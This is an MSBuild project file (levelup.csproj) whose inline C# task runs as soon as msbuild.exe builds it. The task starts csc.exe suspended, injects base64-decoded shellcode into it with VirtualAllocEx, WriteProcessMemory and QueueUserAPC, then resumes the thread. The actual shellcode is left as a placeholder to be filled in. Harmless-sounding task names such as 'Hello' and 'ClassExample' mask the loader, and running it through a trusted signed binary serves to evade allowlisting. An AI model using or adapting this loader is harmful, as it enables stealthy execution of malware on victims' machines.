levelup.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe levelup.csproj -->
  <!-- Choose Framework based on Platform -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe levelup.csproj -->
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />  
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello From a Code Fragment");        
        ]]>
      </Code>
    </Task>
    </UsingTask>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    <Using Namespace="System" />
    <Using Namespace="System.Reflection" />
    <Using Namespace="System.Diagnostics" />
    <Using Namespace="System.Runtime.InteropServices" />
      <Code Type="Class" Language="cs">
       
   
        <![CDATA[
             
            using System;
            using System.Reflection;
            using Microsoft.CSharp;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            using System.Diagnostics;
            using System.Runtime.InteropServices;
             
            public class ClassExample :  Task, ITask
            {
                public override bool Execute()
                {
                        Console.WriteLine("Blah");
                         
                        Program.Main();
                         
                        return true;
                }
            }
 
             
            public class Program
            {
                public static void Main()
                {
                     
                     
                    string strShellCode = "[INSERT SHELLCODE HERE BASE64 ENCODED] ";
 
                    byte[] shellcode = System.Convert.FromBase64String(strShellCode);
                     
                    string processpath = @"C:\Windows\Microsoft.Net\framework\v4.0.30319\csc.exe";
                    STARTUPINFO si = new STARTUPINFO();
                    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
                    bool success = CreateProcess(processpath, null, 
                        IntPtr.Zero, IntPtr.Zero, false, 
                        ProcessCreationFlags.CREATE_SUSPENDED, 
                        IntPtr.Zero, null, ref si, out pi);
                     
                     
                    IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                    IntPtr bytesWritten = IntPtr.Zero;
                    bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
                     
                    Process targetProc = Process.GetProcessById((int)pi.dwProcessId);
                    ProcessThreadCollection currentThreads = targetProc.Threads;
                    IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, currentThreads[0].Id);
                 
                    IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
                     
                    IntPtr ThreadHandle = pi.hThread;
                    ResumeThread(ThreadHandle);
                     
                     
                }
                 
                 
                private static UInt32 MEM_COMMIT = 0x1000;
              
                private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
                 
                [Flags]
                public enum ProcessAccessFlags : uint
                {
                    All = 0x001F0FFF,
                    Terminate = 0x00000001,
                    CreateThread = 0x00000002,
                    VirtualMemoryOperation = 0x00000008,
                    VirtualMemoryRead = 0x00000010,
                    VirtualMemoryWrite = 0x00000020,
                    DuplicateHandle = 0x00000040,
                    CreateProcess = 0x000000080,
                    SetQuota = 0x00000100,
                    SetInformation = 0x00000200,
                    QueryInformation = 0x00000400,
                    QueryLimitedInformation = 0x00001000,
                    Synchronize = 0x00100000
                }
                 
                [Flags]
                public enum ProcessCreationFlags : uint
                {
                    ZERO_FLAG = 0x00000000,
                    CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
                    CREATE_DEFAULT_ERROR_MODE = 0x04000000,
                    CREATE_NEW_CONSOLE = 0x00000010,
                    CREATE_NEW_PROCESS_GROUP = 0x00000200,
                    CREATE_NO_WINDOW = 0x08000000,
                    CREATE_PROTECTED_PROCESS = 0x00040000,
                    CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
                    CREATE_SEPARATE_WOW_VDM = 0x00001000,
                    CREATE_SHARED_WOW_VDM = 0x00001000,
                    CREATE_SUSPENDED = 0x00000004,
                    CREATE_UNICODE_ENVIRONMENT = 0x00000400,
                    DEBUG_ONLY_THIS_PROCESS = 0x00000002,
                    DEBUG_PROCESS = 0x00000001,
                    DETACHED_PROCESS = 0x00000008,
                    EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
                    INHERIT_PARENT_AFFINITY = 0x00010000
                }
 
                public struct PROCESS_INFORMATION
                {
                    public IntPtr hProcess;
                    public IntPtr hThread;
                    public uint dwProcessId;
                    public uint dwThreadId;
                }
 
                public struct STARTUPINFO
                {
                    public uint cb;
                    public string lpReserved;
                    public string lpDesktop;
                    public string lpTitle;
                    public uint dwX;
                    public uint dwY;
                    public uint dwXSize;
                    public uint dwYSize;
                    public uint dwXCountChars;
                    public uint dwYCountChars;
                    public uint dwFillAttribute;
                    public uint dwFlags;
                    public short wShowWindow;
                    public short cbReserved2;
                    public IntPtr lpReserved2;
                    public IntPtr hStdInput;
                    public IntPtr hStdOutput;
                    public IntPtr hStdError;
                }
                 
                [Flags]
                public enum    ThreadAccess : int
                {
                    TERMINATE           = (0x0001)  ,
                    SUSPEND_RESUME      = (0x0002)  ,
                    GET_CONTEXT         = (0x0008)  ,
                    SET_CONTEXT         = (0x0010)  ,
                    SET_INFORMATION     = (0x0020)  ,
                    QUERY_INFORMATION       = (0x0040)  ,
                    SET_THREAD_TOKEN    = (0x0080)  ,
                    IMPERSONATE         = (0x0100)  ,
                    DIRECT_IMPERSONATION    = (0x0200)
                }
                 
                [DllImport("kernel32.dll", SetLastError = true)]
                public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
                    int dwThreadId);
 
                 
                [DllImport("kernel32.dll",SetLastError = true)]
                public static extern bool WriteProcessMemory(
                    IntPtr hProcess,
                    IntPtr lpBaseAddress,
                    byte[] lpBuffer,
                    int nSize,
                    out IntPtr lpNumberOfBytesWritten);
                 
                [DllImport("kernel32.dll")]
                public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
                 
                [DllImport("kernel32")]
                public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
                     Int32 size, UInt32 flAllocationType, UInt32 flProtect);
 
                [DllImport("kernel32.dll", SetLastError = true )]
                public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
                Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
                 
                [DllImport("kernel32.dll", SetLastError = true)]
                public static extern IntPtr OpenProcess(
                 ProcessAccessFlags processAccess,
                 bool bInheritHandle,
                 int processId
                );
                 
                 
                 
                 [DllImport("kernel32.dll")]
                public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
                                         bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
                                        string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
 
                [DllImport("kernel32.dll")]
                public static extern uint ResumeThread(IntPtr hThread);
 
                [DllImport("kernel32.dll")]
                public static extern uint SuspendThread(IntPtr hThread);
 
            }
 
 
 
                 
             
 
             
 
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>